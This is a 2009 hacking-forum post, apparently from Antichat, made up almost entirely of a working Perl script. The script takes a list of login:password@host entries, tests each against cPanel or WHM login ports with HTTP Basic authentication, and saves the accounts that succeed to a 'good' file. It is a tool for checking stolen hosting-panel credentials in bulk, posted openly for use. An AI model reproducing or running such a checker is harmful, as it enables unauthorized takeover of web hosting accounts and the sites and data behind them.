
04.02.2009, 23:26
|
|
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме: 18127311
Репутация:
1676
|
|
Вы что задроты так код палировать?
А это мысль...
Код:
#!/usr/bin/perl -w
use strict;
use threads;
use threads::shared;
use IO::Socket;
use MIME::Base64();
use Fcntl ':flock';
my $accounts = 'accs.txt'; #Файл с акками login:pass@host
my $good = 'good.txt'; #Файл с прочеканными гуд акками
my $port = '2082' ; #WHM - 2086, Cpanel - 2082
my $timeout = 5 ; #Таймаут
my $threads = 1 ; #Потоки
$| = 1;
my @trl;
open ACS, "<", $accounts || die $!;
chomp(my @acc : shared = <ACS>);
close ACS;
my $size = scalar @acc;
my $i : shared = 0;
for(0..$threads-1) {$trl[$_] = threads->create(\&check, $_);}
for(@trl) { $_->join; }
sub check {
while(@acc)
{
my ($cred, $host) = split /@/, shift @acc;
my $s = sockme($host, $port);
next if !$s;
my $request = "GET / HTTP/1.0\n".
"Host: $host\n".
"User-Agent: Mozilla/5.0\n".
"Connection: close\n".
"Authorization: Basic ".MIME::Base64::encode($cred)."\n\n";
print $s $request;
read $s, my $answ, 128;
$answ =~ /200 OK/ ? note($cred.':'.$host) : ();
{lock($i);$i++;}
print "[ ".sprintf("%.2f", ($i/$size)*100)."% ]\r";
}
}
sub note {
print localtime()." [+] $_[0]\n";
open F, ">>", $good || warn $!;
flock F, 'LOCK_EX';
print F $_[0]."\n";
flock F, 'LOCK_UN';
close F;
}
sub sockme {
my $sock = new IO::Socket::INET
(
PeerAddr => $_[0],
PeerPort => $_[1],
PeerProto => 'tcp',
TimeOut => $timeout,
) || warn $!;
return $sock ? $sock : 0;
}
Мб есть косяки...
|
|
|